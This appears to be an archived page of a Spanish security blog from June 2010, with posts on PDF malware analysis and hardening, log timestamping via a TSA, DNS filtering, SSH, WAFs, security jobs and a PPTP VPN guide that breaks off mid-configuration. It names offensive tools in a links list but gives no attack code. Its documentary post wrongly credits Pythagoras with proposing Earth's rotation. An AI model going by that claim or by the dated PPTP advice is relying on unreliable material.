30 junio 2010

zynamics PDF Dissector

No es noticia que desde hace un par de años el mayor número de vulnerabilidades se están encontrando en productos del lado cliente, en especial aquellos que pueden ser explotados remotamente. Como por ejemplo Adobe y su producto Acrobat Reader, que instala un complemento que permite ver los ficheros PDF directamente desde el navegador.

Por ese motivo y por ser un producto prácticamente virgen Acrobat Reader ha acaparado toda la atención últimamente, tal es así que el número de archivos PDF infectados es inmenso, explotando distintas vulnerabilidades y ocultando su código para que sea complicado ser detectado y analizado

Para tratar de paliar esta problemática nace PDF Dissector,  una aplicación escrita en Java por la compañía Zynamics, que muestra el contenido del documento de forma estructurada, facilitando las tareas de la inspección.

El uso de la herramienta es sencillo pero requiere conocimientos en el formato de los PDF y sus posibilidades.
Entre sus principales características destacan:
  1. Presenta el archivo de forma "física" o "lógica". Es decir, tal y como esta almacenado en disco o siguiendo la estructura del documento.
  2. Opciones desarrolladas para la extracción y compresión del código JavaScript (en el que generalmente se introduce la vulnerabilidad):
    • Decodifica los objetos "Stream" que contengan código. De tal forma que se facilite la extracción, ya que en ocasiones los objetos estas comprimidos y no pueden ser vistos directamente.
    • Ejecución en un intérprete propio Javascript, para ir deofuscando y entiendo el código malicioso.
    • Ejecución en una emulación del intérprete de Javascript de Acrobat, que dispone de funciones propias y son usadas en ocasiones para complicar más el análisis.
    • Procesamiento del código, tabulando y mostrándolo de forma más visual y comprensible.
  3. Identificación de vulnerabilidades conocidas.

He estado probando la utilidad intensivamente y he sacado algunas capturas con los ejemplos más habituales de su uso, aunque podéis ver más en la página del producto. También hay un par de videos [1] [2] muy instructivos y un breve manual.

La parte izquierda de la ventana muestra la interpretación física del archivo PDF, en la que se ha seleccionado un objeto que contiene código Javascript. En la parte derecha en amarillo se ve ese código comprimido.

El objeto Stream es decodificado y mostrado al pulsar en la pestaña "Decoded".


En la parte superior se muestra la interpretación y visualización del código js ofuscado para su análisis manual. La parte inferior contiene una tabla con el resultado de la ejecución del código en el propio intérprete. Esta ventana es un editor y permite modificar nombres de variables y funciones para que la lectura sea más sencilla.


 Por último, esta captura muestra cómo se visualiza el árbol de contenido cuando se selecciona la pestaña "logic", lo que permite encontrar rápidamente las acciones que se conocen más peligrosas.



El precio es de 250$ para la licencia de un único usuario durante un año, posteriormente si se desea mantener la actualización, será necesario abonar un 80% del precio anualmente, en este caso 200$.

Leer más...

29 junio 2010

Documental: Hackers Wanted (2008)

Así como otras veces os hemos recomendado buenos libros relacionados con seguridad para que disfrutéis y os enganchéis en vuestros ratos de ocio, hoy quiero hablaros de un documental/película de hora y media que me ha resultado muy interesante.

Se trata de Hackers Wanted. Este documental de 2008, que puede ser obtenido vía torrent, plantea como dilema fundamental, como se ha perseguido desde hace más de 2500 años, a aquellos que hacían públicas sus teorías o descubrimientos.

Ya fue mal mirado el matemático griego Pitágoras cuando propuso que la Tierra giraba sobre su propio eje siendo ésta redonda en vez de plana, o Galileo Galilei que siglos después demostraba que la Tierra giraba además alrededor del Sol, el último de los perseguidos por la Iglesia católica por ir contra las creencias actuales.

El documental explica, por otro lado, como la informática se encuentra formando parte de TODOS los sistemas con los que interactuamos diariamente, muchos de ellos de tipo SCADA que se encargan de que no nos falle el suministro de corriente eléctrica, agua, gas, petróleo, etc,... Este tipo de sistemas, está en el punto de mira de mafias y organizaciones terroristas para, precisamente haciendo honor a su nombre, sembrar terror en la población mundial cortando suministro o inutilizando parte o la totalidad de la infraestructura.

Así pues, si todos estos sistemas se comunican entre sí o son accesibles remotamente corren el riesgo de ser "hackeados". Un momento, ¿¿¿"hackeados"??? a menudo utilizamos esa palabra tan trivialmente que pierde su significado.

En Hackers Wanted, se diferencian y explican, por parte de actores de gran prestigio en el mundo de la seguridad informática, conceptos tales como: Diferencias entre Hacker y cracker, virus y gusano, white hat, black hat y gray hat, script kiddie, phising, ciberterrorismo, backdoor, denegación de servicio, ataque de fuerza bruta, exploit, sneaker, dumpster diving,… etc…

En una primera parte del reportaje, aparecen protagonistas de la talla de los siguientes:
  • Marcus Ranum: gurú de seguridad perimetral, inventor de Gauntlet, firewall basado en proxies (y de los primeros que tuve la oportunidad de aprender), entre otros productos de seguridad
  • John Draper aka Captain Crunch, padre del blueboxing y phone phreaking
  • Steve Wozniak (co-fundador de Apple) que define a un hacker como alguien que intenta mejorar un programa o sistema cada vez más y más
  • Peter Shipley hablando de la (in)seguridad wireless y de cómo acceder a sistemas de líneas aéreas desde el parking de un aeropuerto de forma anónima;
En una segunda parte, fundamentalmente aparecen dos grandes grayhats: Adrian Lamo y Robert Lyttle.

Fundamentalmente Adrian, el hacker "homeless" o sin casa, llamado así por el estilo de vida que lleva (hackea de día y es ocupa de noche), es mundialmente conocido por haber encontrado y reportado fallos en sitios tan relevantes como Worldcom, Microsoft, NASA, Ford, Chrysler, haber cambiado noticias en Yahoo!,... y todo esto desde la red wireless de Starbucks.

Robert Lyttle, es un muy joven hacker que formaba parte de The Deceptive Duo, un grupo (de dos) que comprometió varios sitios de defensa americanos, haciendo defacements de sitios web por el "bien de la nación", anunciando que si ellos habían sido capaces de hacerlo, había que protegerlo de ataques extranjeros. Estamos hablando de sitios como la NASA y el Pentágono.

Ambos, Adrian y Robert, fueron juzgados y condenados, ¿por ser demasiado patriotas, demasiado perfeccionistas? Imagino que hay cosas que se pueden y otras que no se pueden hacer, y que habría que estudiar cada caso para ver si es tan grave el delito de llevarse información con el único fin de demostrar al interesado que su sistema es vulnerable, antes de que otro lo haga sin avisar.

Todo el documental nos ilustra con ejemplos sucedidos de ciberguerras entre grupos de hacking de Pakistan y la India, acciones cibernéticas entre Palestina e Israel, el movimiento Black Hand hacks en Kosovo, etc,...

Como frases de esas que guardas para aplicar en determinados momentos me quedaría con dos:
  • "An attack is a question of when, not if"-> Roger Cressey (Jefe de personal del grupo de protección crítical del Presidente de USA)
  • "Change is the necesary ingredient for all advancement"
Por cierto que para los que estéis interesados en la banda sonora (la cancioncilla que sale), la podéis bajar en MP3 de aquí.

Lo dicho, documental recomendable para todos los públicos (que entiendan inglés, eso sí). Ya me contaréis vuestra opinión.
Leer más...

28 junio 2010

Logs con sellado de tiempo digital

Una de las cosas que normalmente suelen tener bastante 'miga' en los juicios relacionados con evidencias informáticas, es la forma en la que se puede acreditar fiablemente y a ser posible legalmente, las pruebas que se aportan en el juicio.

Uno de los requisitos mas importantes es acreditar la integridad de los 'logs' que se presentan como evidencias. Por ejemplo, si estamos tratando de mostrar accesos no autorizados y presentamos como prueba los ficheros que genera Syslog, esos ficheros deberían tener asociado algún tipo de mecanismo que asegure cierta integridad de que no han sido modificados ad-hoc.

En el mundo PKI, existe un componente llamado TSA (Timestamp Authority) que groso modo sirve para asegurar la existencia de un dato en un momento determinado.

El funcionamiento es muy sencillo, por parte del usuario, se genera un hash SHA1 / MD5 de un dato (normalmente un fichero), este hash se le hace llegar a la TSA y la TSA devuelve un 'sello de tiempo' (firmado digitalmente con un certificado) en el que asegura la existencia de ese hash en el momento que se realizó el sellado. De esta forma si presentamos como evidencia un fichero de logs cuyo hash coincide con el hash que ha sido sellado, estaremos demostrando su existencia en el momento del sellado

Evidentemente para que ese sello tenga cierta validez se requiere que la TSA cumpla con unas determinadas características, como por ejemplo emplear sistemas de gestión horaria de máxima precisión o la 'Hora ROA'. En España hay varias TSAs reconocidas oficialmente que permiten sellado de tiempo, algunas permiten el sellado 'gratuito'. Aun así también cabe la posibilidad de implementar una TSA propia, pero claro eso podría poner en tela de juicio la validez legal.

Al final del artículo pondré un link a un script que sirve para sellar digitalmente algunos de los logs que genera Syslog (ficheros messages y secure).

Requisitos: Una implementación de OpenSSL moderna (el soporte TSA es relativamente reciente)

Para el sellado de tiempo vamos a usar la TSA de la 'Agencia de tecnología y certificación electrónica' de la Comunidad Valenciana

Como ejemplo de uso vamos a hacer una petición de sello para el fichero messages-20100613 (fichero generado por logrotate) donde se almacenan eventos relevantes del sistema operativo:

# openssl ts -query -data messages-20100613 -cert | tee messages-20100613.tsq | curl -s -S -H 'Content-Type: application/timestamp-query' --data-binary @- http://tss.accv.es:8318/ts  -o messages-20100613.tsr

Si todo ha ido bien, deberían haberse creado dos ficheros:
messages-20100613.tsq
messages-20100613.tsr

El primero es la petición que se ha generado para ser enviada a la TSA y el segundo es el sello de tiempo que nos ha devuelto la TSA.

Para verificar el sello, nos hace falta descargar el certificado de la CA raíz de accv:

# wget http://www.accv.es/fileadmin/Archivos/certificados/rootca.crt

Y con esto procedemos a verificar el sello:

# openssl ts -verify -data messages-20100613 -in messages-20100613.tsr -CAfile rootca.crt

Verification: OK

¿Fácil verdad? Con esto podríamos demostrar que un dato contenido en un fichero X existía en un momento Y.

Para automatizar el proceso, podemos emplear un pequeño script en Perl que automatiza el proceso de sellado en una Fedora Core 12+1 (fácilmente adaptable a otros entornos) que podría ser lanzado vía cron. El script aquí
Leer más...

27 junio 2010

Enlaces de la SECmana - 25

Último domingo del mes. Empieza a notarse el poco tráfico, como bajan las pulsaciones y las ganitas de vacaciones de unos y otros... Para los que las comienzan ya, unos cuantos enlaces
    Leer más...

    25 junio 2010

    Buenas prácticas: Prevención de ataques a través de PDFs

    Está claro que la moda últimamente es la distribución de malware/explotación de vulnerabilidades mediante ficheros PDF. De los productos de Adobe salen unas 200 vulnerabilidades al día (ojo, dramatización, este dato no está basado en ninguna estadística...), y si hace unos años el peligro venía en forma de ficheros .vbs, .ppt, .scr que llegaban a nuestros correos, ahora hay que tener cuidado con este formato de documentos y concienciarnos sobre ellos.

    Y ya no sólo porque se nos instale en nuestro sistema un maravilloso servicio que pueda pertenecer a una superbotnet; es que podría convertirnos en la perfecta pasarela desde Internet a nuestra red corporativa, y da igual que seas Google

    Por ello, después de comprobar que no es suficiente con tener nuestro Adobe Acrobat actualizado a la últimísima versión, que se nos actualice silenciosamente, y tras estar cansados de leer siempre que se ha descubierto que se está explotando una vulnerabilidad "in-the-wild" (activamente, sin que nadie se entere salvo dos o tres personajes...), en SearchSecurity nos recopilan una serie de buenas prácticas, enfocadas sobretodo al mundo corporativo (aplicables también a nuestros equipos personales), para prevenir estos ataques mediante PDFs, o por lo menos, que en caso de que se exploten mediante vulnerabilidades del producto no reportadas, que el riesgo o impacto sea mínimo y no se vea comprometida toda una infraestructura. Punto por punto de dicha recopilación, intentaremos ampliarlo con un poco más de información al respecto:
    • Únicamente confiar en archivos PDF que provengan de fuentes conocidas
    Es algo que siempre se intenta transmitir, cayendo en comentarios del tipo "eso es muy fácil decirlo, pero, ¿y si comprometen la dirección de correo electrónico de mi compañero? ¿o del proveedor? ¿o de mi cliente?". Nunca está de más comprobar que realmente se espera un documento del remitente, y en caso de resultar sospechoso, comprobarlo telefónicamente o con otro correo electrónico como respuesta (aunque igual de esa cuenta de correo no podemos esperar nada bueno...).

    Si lo habitual es la distribución de los informes por su parte en .doc o .docx por ejemplo, sería un poco extraño que de repente se adjunte un .pdf. Si viene por parte de un compañero, que incluso podría sentarse a 3 metros de tu sitio, y se supone que el fichero incluye las fotos de su último viaje a Cancún (que no ha hecho), un poema gracioso sobre política (que te lo podría recitar en la hora del café), o fotos del mundial y de vuvuzelas (que te las enseñe en su equipo), evitar abrirlo, se puede seguir viviendo sin problemas, no es indispensable.
    • No visitar enlaces web a ficheros .pdf y y protección frente a direcciones peligrosas
    El comportamiento habitual es que el navegador invoque a Adobe Acrobat para la lectura del fichero desde el propio navegador, pudiendo comprometerlo. No hay excusa frente a correos del tipo "como informe es heavy, mejor le dejado uploaded en nuestro almasen online de documentos...de Rusia...si no possible to acceder, go a este de China...por cierto ganó 1 millón de libras". Si aún así, alguna persona hiciese clic en este enlace del correo, se debería contar con un software antivirus capaz de analizar URLs que pudiesen resultar maliciosas antes incluso de llegar a acceder a ellas. 
    • Manejo de ficheros PDF por parte del navegador
    Al hilo del punto anterior, trataremos a continuación como poder evitar que, automáticamente, el navegador abra el fichero PDF directamente, y proceda a su descarga, dónde podría ser analizado.

    En las propias preferencias de Adobe AcrobatEdición -> Preferencias, en la categoría Internet, podremos desactivar la casilla Mostrar PDF en explorador.


    También es posible llevar a cabo una serie de acciones en los propios navegadores. Ahora distinguiremos estas acciones a seguir para cada uno de ellos, aunque al final sabemos cual es el navegador corporativo en la mayoría de entornos...
    1. Internet Explorer
      1. Mediante el registro de Windows, en caso de poder acceder a él, modificarlo, etc, únicamente tendríamos que modificar la clave HKEY_CLASSES_ROOT\AcroPDF.PDF.1\EditFlags y dejarla con el valor 00 00 00 00



      2. Accediendo a Herramientas -> Administrar complementos, podremos desactivar todos los plug-ins referentes a Adobe PDF.
    2. Mozilla Firefox
      1. En el menú de Herramientas -> Opciones -> Pestaña Aplicaciones, estableceremos "Preguntar siempre" en los ficheros PDF, evitando así su apertura directa.



      2. Es posible utilizar en su lugar, por comodidad, complementos que actúan como visor de documentos de tipo PDF u otros utilizando por ejemplo el visor de documentos mediante Google sin abandonar obviamente el navegador para su lectura.
    3. Google Chrome
      1. Este navegador directamente descargará los ficheros PDF sin abrirlos directamente o pidiéndonos su ubicación de descarga, y hace poco Google confirmaba que muy próximamente incluiría un visor integrado de ficheros PDF en el propio navegador.
      2. Al igual que con Mozilla Firefox, contamos con addons que permiten ver documentos PDF y de otros tipos directamente desde el navegador aprovechándose del visor del propio Google Docs.
    4. Opera
      1. Para modificar el comportamiento frente a ficheros PDF, acceder a Configuración -> Opciones (o Control+F12) -> Pestaña Avanzado -> sección Descargas, buscamos "pdf" y seguidamente Editar para seleccionar la acción. Lo más adecuado sería Guardar en disco o Mostrar diálogo de descarga.


      Emulando la acción que facilitan las extensiones para los navegadores que hemos comentado en Firefox y Chrome en referencia al visor de Google Docs para ver PDFs en base a una URL, podréis hacerlo mediante el servicio que encontraréis en la página http://docs.google.com/viewer?pli=1
    • Desactivar soporte de JavaScript en Acrobat
    En el entorno que estamos tratando, resultaría cuanto menos extraño que necesitemos tener activado el soporte de JavaScript en Acrobat. Por ello, es conveniente desactivarlo para ahorrarnos algún que otro programa con muchas de las vulnerabilidades que aparecen. Sobretodo se recomienda mientras se espera a una solución o parche oficial por parte de Adobe a dicha vulnerabilidad. Workaround por excelencia.

    Para desactivar el soporte de JavaScript en Adobe Acrobat / Reader, accederemos a Edición -> Preferencias y en la categoría JavaScript y des-marcamos la casilla de "Activar JavaScript para Acrobat".



    • Privilegios del usuario actual en el sistema operativo
    Digamos que esta práctica debería ser llevada a cabo, no sólo para evitar los ataques a los que nos referimos, si no para minimizar el impacto de muchos problemas de seguridad.

    En entornos corporativos se suele contar ya de por si con usuarios restringidos, no Administradores totales del sistema. En caso de ser el empleado del mes al que dejan total libertad con su equipo de trabajo, es conveniente utilizar una cuenta de usuario con privilegios mínimos sobretodo si realizamos un uso normal y corriente del sistema, como navegación, calculadora, Word, Buscaminas, etc.
    • Buen estado de la plataforma
    Repetimos lo comentado anteriormente. Si ya de por si no se realiza por política de la empresa, mantener el equipo de trabajo actualizado a su última versión, con los últimos parches de seguridad aplicados (si es el Windows del trabajo, seguro que no tienes problemas con Windows Update y el wga ¿cierto?), actualización del software antivirus, etc.
    • Alternativas al software de Adobe
    Es viernes, ¿tienes otras cosas que hacer, entregar esos informes de últimísima hora, y no tienes tiempo de cambiar registros, bucear en preferencias e instalar complementos? Ya contamos con alternativas perfectamente válidas para poder abrir ficheros PDF sin echar de menos ninguna funcionalidad de Acrobat, como por ejemplo Foxit Reader, de los más famosos visores de documentos PDF gratis.

    Comentadnos vuestras experiencias, más buenas prácticas a tener en cuenta, alternativas, si en las paredes de vuestras oficinas contáis con posters de concienciación con dianas sobre Adobe, ¡lo que queráis!

    Leer más...

    24 junio 2010

    Buena programación + Auditoría + WAF = Web segura

    Pese a trabajar para un fabricante de soluciones WAF (Web Application Firewall), intentaré ser objetivo, puesto que sigo pensando que mientras el mundo requiera desarrollos "para ayer", la seguridad de las aplicaciones web queda relegada a una menor prioridad primando la funcionalidad y "cuanto antes". Lo verdaderamente seguro sería que los desarrollos pasasen por estrictos ciclos de calidad, de principio a fin, en los que la base fuesen los criterios de programación segura por encima de todo. Otro ingrediente esencial es una correcta y ágil administración de parches para el software de los servidores expuestos a Internet para evitar sorpresas por problemas en la infraestructura utilizada.

    Como las metodologías de desarrollo seguro no suele estar entre las buenas prácticas de las organizaciones más que en un mínimo porcentaje de los casos, ya sea por desconocimiento, por sub-sub-sub-sub-sub-contratación de los servicios de desarrollo o por prisas infundadas,… para tener la tranquilidad (y a veces por necesidad de cumplimiento únicamente), hay otras dos alternativas: auditorías periódicas o proteger mediante un dispositivo WAF que analice las peticiones web y bloquee las que considere como maliciosas.

    Partiendo de que no se siguen metodologías de programación seguras, el eterno debate entre la preferencia entre auditar o proteger con WAF se ve zanjado con la mejor de las respuestas: las dos cosas.

    La demostración más clara de ello es la decisión por parte de la empresa de seguridad americana Trustwave Spiderlabs al comprar Breach Security. Quizá Breach no os suene mucho, pero es la marca comercial de un WAF de los que ya hemos hablado en varias ocasiones en SbD. Se trata de mod security, un módulo de seguridad a nivel de aplicación embebido en Apache. De hecho, uno de los creadores de mod_security, Ivan Ristic era uno de los principales desarrolladores trabajando para Breach.

    Con la compra de este tipo de solución, la empresa Trustwave Spiderlabs que, entre otras, ya proporcionaba soluciones y servicios de seguridad, completa su portfolio sobre todo para ofrecer a empresas que necesiten cumplir con determinadas normativas. Un ejemplo de esto es PCI-DSS, obliga a empresas que permitan utilizar tarjetas de crédito en sus negocios online, cumplan una serie de requisitos. En el punto 6.6 se indica claramente que sus aplicaciones web deberán ser convenientemente auditadas periódicamente y/o protegidas mediante una herramienta WAF.

    Lo sensato a la hora de proteger las aplicaciones web sigan o no metodologías de programación segura, desde mi punto de vista, es añadir más capas de seguridad, basadas en auditoría y en WAF. Una serie de auditorías programadas con una frecuencia determinada ayudan a determinar dónde están los puntos débiles a nivel de aplicación y obligar por supuesto a su corrección para la siguiente evaluación. Sin embargo, contar con un WAF que permita "parchear virtualmente" esas aplicaciones, disminuye el tiempo de exposición desde que se detecta un agujero hasta que se tapa, así como reaccionar ante determinados ataques Zero-Day de una manera mucho más ágil.

    En una estrategia de seguridad por capas, la unión de ambas técnicas para la protección puede hacer que un "encargo" de obtener información sensible de una organización, fuerce al atacante a buscar por otro sitio que no sea la web,… y Trustwave, parece que también opina lo mismo.
    Leer más...

    23 junio 2010

    Seguridad con DNS de acceso público

    El uso de DNS Blackholing es una opción clásica para evitar algunos ataques de dominios conocidos. El CERT de RedIris dispone de una guía muy sencilla donde explica su funcionamiento, básicamente consiste en configurar el servidor DNS de una organización o ISP para que responda con direcciones IP propias a una lista de dominios con malware, pornografía o lo que se desee filtrar.

    Hay muchas fuentes que enumeran estos dominios, por ejemplo la ISO que recientementedistribuye SANS con una configuración establecida de DNS Sinkhole, utiliza las siguientes:
    Los usuarios domésticos o pequeñas empresas también se pueden utilizar servidores DNS públicos que mantienen estos mismos filtros. Symantec ha presentado hace poco los de Norton, pero no son los únicos, ni tampoco los primeros.

    NOMBRE DNS 1 DNS 2
    NortonDNS 198.153.192.1 198.153.194.1
    Scrubit 67.138.54.100 207.225.209.66
    Comodo DNS 156.154.70.22 156.154.71.22
    OpenDNS 208.67.222.222 208.67.220.220

    Google también tiene los suyos propios, aunque estos no disponen de filtrado en base a dominios, por lo que no entramos a valorarlos. El de Norton es el más nuevo y disponen de una herramienta para madres que configura directamente el DNS. Scrubit es otra alternativa, aunque tiene picos de rendimiento y no funciona siempre tan rápido como se desea. Comodo DNS parece la versión segura de DNS Advantage, o por lo menos están en el mismo direccionamiento, son muy rápidos, aunque tienen menos "firmas" que los de Norton  y por último el archiconocido OpenDNS que se puede utilizar gratuitamente para uso personal o una versión comercial algo más amplia, entre las que permite seleccionar el tipo de contenidos que se quieren eliminar.

    Para saber cuál es la configuración óptima en velocidad de respuesta la herramienta namebench ejecuta una serie de pruebas contra cada uno de ellos mostrando los resultados en un archivo HTML con la configuración ideal para la conexión desde la que se ha lanzado.

    Utilizando como entrada de dominios las web top (2000) de Alexa, estas gráficas resumen las pruebas:



    Leer más...

    22 junio 2010

    Seguridad por oscuridad, el caso del SSH

    SANS notificó hace unos días que estaban detectando nuevos ataques de fuerza bruta contra los servicios SSH abiertos en Internet,  aunque con la novedad de utilizar además del método de autenticación tradicional de "password", otro que generalmente está habilitado (aunque depende de la instalación) "keyboard-interactive". 

    Para evitar el ataque desde el ISC proponen deshabilitar este otro sistema  configurando la directiva ChallengeResponseAuthentication en "no" del archivo sshd_config, aunque esto puede dejar el servicio sin acceso si no está preparado el sistema para otro método de autenticación, como por ejemplo el uso de certificados.

    Generalmente yo no me entero de estos ataques porque tengo configurado mi servicio de acceso seguro en un puerto distinto al 22, lo que evita en gran mayoría todos los intentos que no sean dirigidos como los de este caso, donde el problema viene de gusanos y ataques automáticos.

    A la estrategia de cambiar el número del puerto a uno no estándar se le denomina "seguridad por oscuridad", y es un principio que se basa en la ocultación de información como contramedida para vulnerabilidades conocidas. Aunque esto ya lo comentó Lorenzo hace unos meses me gustaría retomarlo.

    Hace un tiempo un amigoo me contó que en un curso donde impartían Linux el profesor recomendó no utilizar estas técnicas, ya que por definición la estrategia de seguridad por oscuridad es errónea. Este aventurero no es el único que piensa así y esta misma afirmación se puede encontrar en cientos de sitios, como por ejemplo OWASP.

    Es obvio que es preferible mantener el puerto del demonio por defecto antes que dejar un usuario admin con contraseña admin, pero en igual de condiciones, ¿no lo pone un poquito más complicado el cambio del puerto? Si, uno muy sencillo de saltar, pero por ejemplo para el caso reportado por ISC, como mínimo evitará  que se tengan que revisar registros de intentos fallidos.

    Muy distinto es disminuir el nivel de seguridad con el cambio de puerto si este es superior al 1024, ya que si se encuentra un DoS que tira el servicio, un usuario sin privilegios de administrador puede configurar un demonio en ese mismo puerto con el objetivo de capturar credenciales.

    Por último recordar que para evitar este y otros ataques en SSH el verano pasado publicamos dos artículos con las opciones de seguridad más importantes que permite el servicio: parte 1 y parte 2

    Leer más...

    21 junio 2010

    ¿Buscas trabajo en seguridad informática?

    Desde SbD hemos intentado daros ciertas guías sobre cómo orientar los siguientes pasos en caso de querer dedicarte a la seguridad informática, así como qué tipo de certificaciones son más recomendables para lograr un buen puesto de trabajo. Lo que aún no hemos dicho es dónde y cómo buscarlo.

    Antiguamente (recuerdo haberlo hecho allá por el 2003) una buena fuente de oferta laboral, incluso en seguridad informática, eran las páginas de color salmón de periódicos como El Mundo o El País. Sin embargo, los tiempos han cambiado y las tecnologías y la utilización de Internet "para todo" ha dado lugar a nuevos canales de oferta/demanda de empleo.

    ¿Dónde deberías buscar?
    • A través de contactos: Por mucha tecnología que haya, si un amigo o familiar que trabaja en una empresa que se entera que hay una posición interna abierta, lo mejor es aprovechar la oportunidad y mover el CV a través del contacto. Siempre irás recomendado y tendrás un paso ganado.
    • Páginas web especializadas: Las míticas infojobs y tecnoempleo, siguen siendo muy concurridas por empresas que ofrecen puestos de trabajo para cubrir sus necesidades. Asimismo, muchas empresas dedicadas al outsourcing o "bodyshopping" contratan un "pool" de anuncios en los que buscan diversos perfiles según les van surgiendo oportunidades en proyectos para clientes finales o a través de más subcontratatas.
    • Páginas web de integradores/consultoras/auditoras: Si tienes en mente dedicar tu alma y tu cuerpo al mundo de la consultoría, deberías mirar la sección "Colabora con nosotros" de empresas de este tipo. En general, este tipo de empresas suele estar localizada en cada ciudad. Las "Big Four" y varias más, suelen tener delegaciones en toda España para cubrir proyectos de toda la geografía española.
    • Mayoristas y Fabricantes: El modelo de canal de productos de seguridad, en general es, de arriba hacia abajo: Fabricante -> Mayorista -> Integrador -> Cliente final. Conviene mirar periódicamente en la web de aquellos fabricantes/mayoristas en los que estás interesado por si publican alguna oferta interesante. No obstante, también suelen tener una sección Careers o "Colabora con Nosotros" en la que se puede enviar el CV de forma espontánea. Tanto para buscar empresas integradoras/consultoras/auditoras como mayoristas/fabricantes, se pueden obtener unos cuantos nombres en revistas especializadas en seguridad como SIC, TCN, Red & Seguridad, etc,...
    • Headhunters: conocidos también como cazatalentos, en general, este tipo de contactos suele estar en el extranjero (UK principalmente para fabricantes de seguridad), aunque en España los hay de bastante prestigio también. Suelen recibir encargos de búsquedas de perfiles muy especializados en seguridad que cumplan los requisitos del cliente en todos sus puntos. Realizan un proceso de selección mucho más especializado y preciso que el departamento de RRHH de una empresa, puesto que, en general, se dedican exclusivamente a la búsqueda de perfiles tecnológicos.
    • Linkedin/Xing: Empresas y Head Hunters buscan formas novedosas e innovadoras para buscar candidatos y ofrecer/buscar empleos. LinkedIn y Xing como redes sociales destinadas a tener contactos profesionales, Curriculum Vitae online, recomendaciones desde/hacia compañeros o jefes, permiten ayudar a filtrar por dferente tipo de conocimientos, certificaciones a posibles candidatos a un puesto determinado. Además, el que un individuo tenga un perfil actualizado en Linkedin o Xing demuestra adaptación a nuevos canales, no quedándose en lo clásico del papel. En LinkedIn hay diversos grupos exclusivos sobre empleos de seguridad informática (entre otros), incluso promovidos por grandes empresas como es el caso de McAfee, Oracle, Cisco,…
    • Twitter: Este mecanismo de comunicación entre contactos (uy! red social) permite también seguir a diferentes empresas que también twittean oportunidades ante diferentes posiciones. Muchas veces se ven RTs con diferentes oportunidades (aunque generalmente han sido de programadores o diseñadores web). También McAfee utiliza Twitter como medio de comunicación para ofertas de empleo.
    • RSS: Mediante esta vía, aparte de leer en un único sitio, los posts diarios de tus blogs de seguridad favoritos, también se puede añadir alguna fuente que hace ofertas de seguridad. En general, las que yo he visto (y sigo) ofrecen oportunidades en UK, USA y Australia,… lo cual tampoco es una mala opción si el panorama laboral y económico español no se recupera.

    Solo os diré una única palabra más… Suerte!
    Leer más...

    20 junio 2010

    Enlaces de la SECmana - 24

    He vuelto de vacaciones y me esta costando ponerme al día entre tanto rss y tanto twitter del que final he decidido no leer los atrasados. Esto es peor que la fórmula 1, si pestañeas te lo pierdes OIGAAAA. Vamos allá con los enlaces de esta SECmana:
    • El US-CERT libera un framework de fuzzing: BFF 
    • Nessus amplía sus políticas permitiendo el análisis de configuraciones IOS de Cisco
    • Suplantación de identidad, un tema muy gay con consecuencias
    • Chuleta de meterpreter desarrollada por blueliv.
    • hashcat herramienta para hacer fuerza bruta sobre varios tipos de hash distintos
    • Aunque no lo parecia, THC-Hydra sigue vivo y trae novedades, entre ellas su cambio a GPLv3 y mejoras en algunos módulos.
    • Krebs habla de un Skimmer para un cajero que manda mensajes de texto.
    • ESET abre un concurso para profesionales del periodismo de latinoamérica con viaje al CeBIT 2011 de regalito.
    • Nuestro amigo de Kungfoosion nos explica como crear un pendrive U3 con "regalito" utilizando metasploit.
    • Nueva versión del buscador de metadatos metagoofil y el de nombres de usuario y correos electrónicos theHarvester de Edge-Security.
    • Ipredator que permite configurar redes VPN parece que muestra una vulnerabilidad con la que se  identifica la dirección IP de usuarios de Bittorrent.
    Leer más...

    18 junio 2010

    HTTPS Everywhere, extensión que fuerza SSL para Firefox

    De la mano de la Electronic Frontier Foundation y en colaboración con The Tor Project nace la extensión de Firefox "HTTPS Everywere" (actualmente en beta) que tiene por objetivo substituir todas las peticiones HTTP por su versión HTTPS de tal forma que no naveguemos sin utilizar el protocolo seguro inconscientemente. Similar a STS de NoScript o KB SSL Enforcer de Chrome.

    Los gurús de la seguridad web ya han hecho alguna crítica a la extensión, ya que incluso estando el tráfico cifrado este puede ser adivinado usando otros mecanismos. Bajo mi punto de vista, no tiene mucho sentido el comentario, porque pese a que puedan ser adivinadas las peticiones web, mejor que tengan que averiguarlas a que lo vean directamente en un sniffer ¿no? ¿Alguien dijo seguridad por capas?

    Los sitios soportados por HTTPS Everywhere son:
    • Google Search
    • Wikipedia
    • Twitter
    • Facebook
    • The New York Times
    • The Washington Post
    • Paypal
    • EFF
    • Tor
    • Ixquick
    La realidad es que todas estas páginas, y muchas otras, deberían de añadir una opción en el propio servicio para que la conexión siempre fuera cifrada al igual que hace Gmail. Aunque eso tiene un coste de rendimiento tanto en el cliente como en el servidor, que no siempre se está dispuesto a pagar.

    Para instalarlo se puede hacer desde su página o directamente sobre el archivo XPI.
    Leer más...
    Con esta entrada pretendo hacer una pequeña guía para configurar una VPN PPTP (Point to Point Tunneling Protocol) con un servidor Linux y un terminal móvil Android como cliente.

    La instalación es muy sencilla y apenas serán necesarios unos cuantos pasos para tenerla funcionando rápidamente.

    Lo primero es descargar el tarball de la aplicación Poptop en su última versión 1.3.4 para posteriormente hacer la instalación tal y como indica el  archivo INSTALL (típico ./configure, make, make install). En mi caso para una Fedora, genero el rpm y luego lo instalo, por eso de ser más elegante...

    mkdir -p ~/rpmbuild/SOURCES/
    cd ~/rpmbuild/SOURCES/
    wget "http://downloads.sourceforge.net/project/poptop/pptpd/pptpd-1.3.4/pptpd-1.3.4.tar.gz?use_mirror=kent"
    tar -zxvf pptpd-1.3.4.tar.gz
    cd pptpd-1.3.4
    bash makepackage
    sudo rpm -ivh ~/rpmbuild/RPMS/x86_64/pptpd-1.3.4-1.fc12.x86_64.rpm
    

    Si todo va bien, sea así o de otra forma, los archivos pptpd y pptpd.conf y otros cuantos deberían quedar instalados en el sistema:

    /etc/ppp/options.pptpd
    /etc/pptpd.conf
    /etc/rc.d/init.d/pptpd
    /usr/bin/vpnstats.pl
    /usr/bin/vpnuser
    /usr/lib64/pptpd/pptpd-logwtmp.so
    /usr/sbin/bcrelay
    /usr/sbin/pptp-portslave
    /usr/sbin/pptpctrl
    /usr/sbin/pptpd
    ...
    

    Ahora es necesario modificar dos archivos de configuración, el del servicio y el de usuarios.

    El /etc/pptpd.conf es el del demonio. Ojo que he puesto las DNS de Google y el rango de IPs 192.168.2.100-151 que eran los que a mí me venían bien.

    lock
    name *
    proxyarp
    ipcp-accept-local
    ipcp-accept-remote
    lcp-echo-failure 3
    lcp-echo-interval 5
    deflate 0
    auth
    -chap
    -mschap
    +mschap-v2
    mppe stateless
    mppc
